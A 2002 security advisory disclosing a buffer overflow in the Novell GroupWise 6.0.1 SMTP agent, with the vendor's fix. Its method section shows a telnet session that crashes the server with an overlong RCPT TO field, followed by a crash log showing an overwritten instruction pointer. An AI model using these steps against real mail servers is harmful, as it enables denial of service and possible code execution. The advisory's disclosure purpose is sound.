----------------------------------------------------------------------- Title: Novell GroupWise 6.0.1 Support Pack 1 Bufferoverflow Author: Marco van Berkum Classification: High risk Date: 25/07/2002 Email: m.v.berkumat_private Company: OBIT Company site: http://www.obit.nl Personal website: http://ws.obit.nl ----------------------------------------------------------------------- Problem ------- A bufferoverflow was found in Novell GroupWise 6.0.1 (Support Pack 1). Malicious users can insert code in the RCPT field that leads to a bufferoverflow which crashes the machine and potentially is exploitable (this has not been tested, there was already a fix available). Vulnerable version information ------------------------------ This overflow was found in GroupWise 6.0.1 Service Pack 1 on a Novell NetWare 5.1 Support Pack 3. According to Novell and my own findings GW SP2 is NOT vulnerable to this attack. This was not tested on other versions and Support Packs of NetWare. Method and technical information -------------------------------- Hostname and IP have been changed for privacy reasons. $ telnet groupwise 25 Trying 192.168.1.1... Connected to groupwise. Escape character is '^]'. 220 220 groupwise GroupWise Internet Agent 6.0.1 (C)1993, 2002 Novell, Inc. Ready helo bla 250 groupwise Ok mail from: meat_private 250 Ok rcpt to: lots of A's (found it by inserting 682 A's) ^] telnet> q Connection closed. $ At this point the server crashed and was unreachable. Below is the abend log of the mailserver. --------------ABEND LOG---------------- Server groupwise halted Wednesday, 3 July 2002 9:28:57 Abend 1 on P00: Server-5.00j: Page Fault Processor Exception (Error code 00000000) Registers: CS = 0008 DS = 0010 ES = 0010 FS = 0010 GS = 0010 SS = 0010 EAX = 00000000 EBX = 41414141 ECX = A831E7FC EDX = A8320275 ESI = 41414141 EDI = 41414141 EBP = 41414141 ESP = A831E910 EIP = 41414141 FLAGS = 00014206 Address (41414141) exceeds valid memory limit EIP in UNKNOWN memory area Access Location: 0x41414141 The violation occurred while processing the following instruction: Running process: GWIA-smtprcv-008 Process Created by: NetWare Application Thread Owned by NLM: GWIA.NLM Stack pointer: A831E770 OS Stack limit: A8318760 Scheduling priority: 67371008 Wait state: 5050090 (Wait for interrupt) Stack: --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? --41414141 ? Additional Information: The CPU encountered a problem executing code in SERVER.NLM. The problem may be in that module or in data passed to that module by a process owned by GWIA.NLM. --------------EOF-------------- Solution -------- Apply Support Pack Beta-2. http://support.novell.com/filefinder/12886/beta.html Vendor's response ----------------- The problem has been discussed, Support Pack Beta-2 already fixed this problem before it was found. Credits ------- Thanks go out to Robert Braeutigam for testing and other support. Just my 2 cents, Marco van Berkum -- 'Hit any user to continue' -------------------------------------------- | Marco van Berkum / MB17300-RIPE | | m.v.berkumat_private / http://ws.obit.nl | | http://www.obit.nl / http://www.dsinet.net | --------------------------------------------
This archive was generated by hypermail 2b30 : Thu Jul 25 2002 - 09:17:53 PDT